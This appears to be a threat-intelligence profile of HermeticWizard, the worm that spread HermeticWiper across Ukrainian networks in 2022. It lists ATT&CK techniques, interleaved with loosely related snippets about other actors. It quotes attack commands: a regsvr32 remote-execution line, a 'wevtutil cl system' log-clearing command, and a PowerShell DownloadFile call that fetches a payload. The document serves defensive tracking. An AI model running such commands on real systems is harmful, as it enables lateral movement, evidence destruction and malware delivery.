HermeticWizard is a Windows worm used to propagate HermeticWiper across compromised local networks during destructive attacks against Ukrainian organizations in February 2022, around the start of Russia’s invasion of Ukraine. It provides network discovery, file transfer, and remote execution capabilities, serving as the propagation component rather than the destructive payload. The associated campaign also used HermeticRansom, also known as PartyTicket, as decoy ransomware.
HermeticWizard identifies potential targets by collecting local-network addresses from DNS caches, address-resolution tables, network resource and server enumeration, TCP connection tables, and adapter information. It can scan network ports, copy files to other machines, and spread through SMB and Windows Management Instrumentation (WMI). It uses WMI to create remote processes and the Windows Register Server utility to execute malicious payloads. HermeticWizard has been signed with valid code-signing certificates issued to Hermetica Digital, supporting an appearance of legitimacy.
25 distinct techniques documented for this family, organized by ATT&CK tactic.
[HermeticWizard](https://attack.mitre.org/software/S0698) can use WMI to create a new process on a remote machine via `C:\windows\system32\cmd.exe /c start C:\windows\system32\\regsvr32.exe /s /iC:\windows\<filename>.dll`.(Citation: ESET Hermetic Wizard March 2022)
the decoded PowerShell commands used to download and execute foreign artifacts follow a structure consistent with a tool known to ease the deployment of semi-interactive shells: cmd.exe /Q /c powershell -c “(New-Object System.Net.WebClient).DownloadFile(...)”
[HermeticWizard](https://attack.mitre.org/software/S0698) can use `cmd.exe` for execution on compromised hosts.(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) can connect to remote shares using `WNetAddConnection2W`.(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) can execute files on remote machines using DCOM.(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) can use `OpenRemoteServiceManager` to create a service.(Citation: ESET Hermetic Wizard March 2022)
The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.
[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to encrypt PE files with a reverse XOR loop.(Citation: ESET Hermetic Wizard March 2022)
During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.
[HermeticWizard](https://attack.mitre.org/software/S0698) has been named `exec_32.dll` to mimic a legitimate MS Outlook .dll.(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) has used `regsvr32.exe /s /i` to execute malicious payloads.(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to create a new process using `rundll32`.(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) has been signed by valid certificates assigned to Hermetica Digital.(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to use `wevtutil cl system` to clear event logs.(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) can use a list of hardcoded credentials in attempt to authenticate to SMB shares.(Citation: ESET Hermetic Wizard March 2022)
Earth Lusca used the command powershell "Get-EventLog -LogName security -Newest 500 | where {$_.EventID -eq 4624} | format-list - property * | findstr "Address"" to find the network information of successfully logged-in accounts to discovery addresses of other machines.
[HermeticWizard](https://attack.mitre.org/software/S0698) can find machines on the local network by gathering known local IP addresses through `DNSGetCacheDataTable`, `GetIpNetTable`,`WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY)`,`NetServerEnum`,`GetTcpTable`, and `GetAdaptersAddresses.`(Citation: ESET Hermetic Wizard March 2022)
[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to scan ports on a compromised network.(Citation: ESET Hermetic Wizard March 2022)
HermeticWizard is the tool that leverages WMI and SMB in order to spread to additional hosts.
[HermeticWizard](https://attack.mitre.org/software/S0698) can use a list of hardcoded credentials to to authenticate via NTLMSSP to the SMB shares on remote systems.(Citation: ESET Hermetic Wizard March 2022)
Examples include 'Aquatic Panda used WMI for lateral movement in victim environments,' 'Deep Panda group is known to utilize WMI for lateral movement,' and 'Cinnamon Tempest has used Impacket for lateral movement via WMI.'
[HermeticWizard](https://attack.mitre.org/software/S0698) can copy files to other machines on a compromised network.(Citation: ESET Hermetic Wizard March 2022)
the decoded PowerShell commands used to download and execute foreign artifacts... DownloadFile('hxxp://192.168.3.13/email.jpeg','CSIDL_SYSTEM_DRIVE\temp\sys.tmp1')
« Des cyberattaques avec des codes malveillants de sabotage (wiper) ont été identifiées. Ces actions, les plus destructrices… »
The ransomware strain was delivered along with a computer worm named HermeticWizard and served more as a decoy in wiper attacks rather than a tool to support financial extortion.
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
41 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.